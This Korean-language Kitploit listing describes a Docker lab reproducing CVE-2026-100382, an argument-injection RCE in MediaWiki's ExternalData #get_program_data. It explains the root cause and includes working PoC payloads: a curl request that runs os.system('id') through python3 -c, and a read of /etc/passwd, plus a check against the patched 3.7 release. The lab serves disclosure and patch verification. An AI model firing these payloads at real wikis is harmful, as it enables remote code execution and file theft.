Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
mediawiki-CVE-2026-100382 — MediaWiki ExternalData의 #get_program_data에서 발생하는 인증되지 않은 인자 주입 RCE인 CVE-2026-100382를 재현하는 Docker 랩으로, PoC 페이로드와 패치 검증을 포함합니다. | Kitploit
도구/GitHubGitHub/nth347/mediawiki-cve-2026-100382
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityCommand and ControlLearning & EducationLabs & Practice
GitHubnth347/mediawiki-cve-2026-100382

mediawiki-CVE-2026-100382

MediaWiki ExternalData의 #get_program_data에서 발생하는 인증되지 않은 인자 주입 RCE인 CVE-2026-100382를 재현하는 Docker 랩으로, PoC 페이로드와 패치 검증을 포함합니다.

저장소 보기
36일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Lab 재현 - CVE-2026-100382 (ExternalData OS 명령 주입)

이 lab은 무엇인가

  • MediaWiki 1.43 (공식 이미지, SQLite) + ExternalData 3.6.1 (마지막 취약 버전), ../mediawiki-extensions-ExternalData에서 읽기 전용으로 마운트됨.
  • 루프백 전용: 127.0.0.1:${HOST_PORT}에 게시됨 (기본값 8080).
  • 익명 편집 + action=parse가 활성화됨 (MediaWiki 기본값) - PoC는 로그인이 필요 없음.

실행

cd lab
./up.sh        # 설치, ExternalData 3.6.1 로드, 취약한 소스 시드, URL 출력
./down.sh      # docker compose down -v + .env 삭제

(현실적인) 취약한 관리자 설정

entrypoint.sh는 #get_program_data의 문서화된 목적을 그대로 반영하는 exec 소스를 시드함 - 편집자에게 서버 측 프로그램을 노출하고, 사용자 파라미터를 명령줄에 전달 - 제한적인 param filters 항목 없이 (확장은 이를 요구하지 않음):

$wgExternalDataSources['chart'] = [
    'command' => 'python3 $options$ /srv/chart.py',   // 사용자 파라미터가 보간됨
    'params'  => [ 'options' ],
    'format'  => 'text',
];

의도된 사용: {{#get_program_data: program=chart | options=--dpi=120 }} -> python3 --dpi=120 /srv/chart.py 실행.

근본 원인 요약 (왜 발동하는가)

  • EDConnectorBase::supplementParams()는 사용자 파라미터를 위키 전역 command 템플릿에 strtr을 통해 보간함 (EDConnectorBase.php:461-470,560).
  • 그런 다음 EDConnectorExe::__construct()가 explode(' ', $command)를 수행함 (EDConnectorExe.php:92) - 보간된 사용자 값이 공백을 기준으로 분리되어 재인용 없이 별도의 argv 토큰이 됨.
  • run()은 Shell::command($command)->execute()를 실행함 (EDConnectorExe.php:139). Shell::command()는 각 토큰을 셸 이스케이프하므로 셸 메타문자 (;, |)는 무력함 - 이것은 **인자 주입 (CWE-88 / CWE-78)**이며, 단순한 셸 주입이 아님. 대상 프로그램(여기서는 python3 -c)의 추가 argv를 제어하면 완전한 코드 실행이 가능함.
  • 참고: 호출자가 command를 직접 제공할 수는 없음 - 내장 와일드카드 * 소스는 command => null을 강제하여 사용자가 제공한 command를 제거함. 따라서 벡터는 관리자가 정의한 명령에 대한 파라미터 보간임.

콘솔 출력 (그대로)

범위: 셸 메타문자는 이스케이프됨 (셸 주입이 아닌 인자 주입)

$ payload: {{#get_program_data: program=greet | name=World; id | data=out=__text }}{{#external_value: out }}
Hello World; id

공백이 하나의 파라미터를 여러 argv 토큰으로 분리함

$ payload: {{#get_program_data: program=greet | name=a b c | data=out=__text }}{{#external_value: out }}
Hello a b c

RCE - 웹 사용자로서 임의 명령 실행 (인증 불필요)

$ curl -sS http://127.0.0.1:8080/api.php \
    --data-urlencode action=parse --data-urlencode format=json \
    --data-urlencode contentmodel=wikitext \
    --data-urlencode "text={{#get_program_data: program=chart | options=-c __import__('os').system('id') | data=out=__text }}{{#external_value: out }}"

uid=33(www-data) gid=33(www-data) groups=33(www-data)

임의 파일 읽기

$ options=-c print(open('/etc/passwd').read())
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

패치에 대한 부정 테스트 (루프를 닫음)

마운트된 확장을 태그 3.7로 교체하고 동일한 페이로드를 다시 실행:

The class EDConnectorExe is disabled: instead of giving access to a local program,
consider using web access to a containerised application ... To enable it, a wiki
administrator will have to remove this class from the $wgExternalDataDisabledClasses
configuration setting.

3.7은 기본적으로 EDConnectorExe를 비활성화함 ($wgExternalDataDisabledClasses, Bug T434961). 주의: 싱크 코드는 변경되지 않음 - #get_program_data를 계속 사용하기 위해 해당 목록에서 EDConnectorExe를 제거한 위키는 여전히 완전히 악용 가능함.

도구 다운로드